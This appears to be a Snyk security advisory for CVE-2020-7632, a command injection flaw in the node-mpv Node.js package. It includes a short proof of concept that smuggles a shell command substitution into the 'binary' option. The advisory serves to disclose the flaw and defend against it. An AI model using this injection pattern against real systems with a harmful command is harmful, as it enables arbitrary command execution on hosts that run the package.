Command Injection

Affecting node-mpv package, versions >=0.12.2

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

node-mpv is a wrapper to comfortably use mpv player with node.js.

Affected versions of this package are vulnerable to Command Injection. The argument "options" can be controlled by users without any sanitization.

PoC

var Root = require("node-mpv");
var options ={
"binary": '\" $(touch JHU) \"'
}
var root = new Root(options);

Remediation

There is no fixed version for node-mpv.

References

CVSS Score

6.5
medium severity
  • Attack Vector
    Network
  • Attack Complexity
    High
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    Low
  • Availability
    None
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N/E:P/RL:O/RC:C
Credit
JHU System Security Lab
CVE
CVE-2020-7632
CWE
CWE-74
Snyk ID
SNYK-JS-NODEMPV-564426
Disclosed
05 Apr, 2020
Published
05 Apr, 2020